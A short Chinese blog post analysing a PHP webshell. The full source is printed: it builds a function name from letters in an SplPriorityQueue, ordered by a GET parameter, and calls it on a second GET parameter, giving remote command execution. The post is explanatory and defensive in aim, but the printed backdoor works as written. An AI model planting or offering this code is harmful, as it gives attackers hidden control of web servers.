PHP 木马分析:SplPriorityQueue 实现的动态函数调用
这段代码是一个木马程序,利用 PHP 的 SplPriorityQueue 类实现动态函数调用。
代码中使用优先队列 (SplPriorityQueue) 存储了一些字符,并通过 GET 参数 $_GET[a] 来设置字符 't' 的优先级。最后将所有字符拼接成一个字符串,作为函数名,并将一个新的异常对象的错误信息 ($_GET[b]) 作为参数传入,从而执行恶意代码。
密钥:
$_GET[a]控制字符 't' 的优先级,可以改变拼接后的函数名。$_GET[b]控制异常对象的错误信息,可以执行不同的恶意代码。
代码分析:
<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]); // 设置 't' 的优先级
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
// Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]); // 创建异常对象
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage()); // 执行函数
?>
总结:
这段木马代码通过动态函数调用来执行恶意代码,并利用 GET 参数进行控制,具有较高的隐蔽性。对于类似的代码,建议使用专业的安全工具进行检测和防护。
原文地址: https://www.cveoy.top/t/topic/lPsn 著作权归作者所有。请勿转载和采集!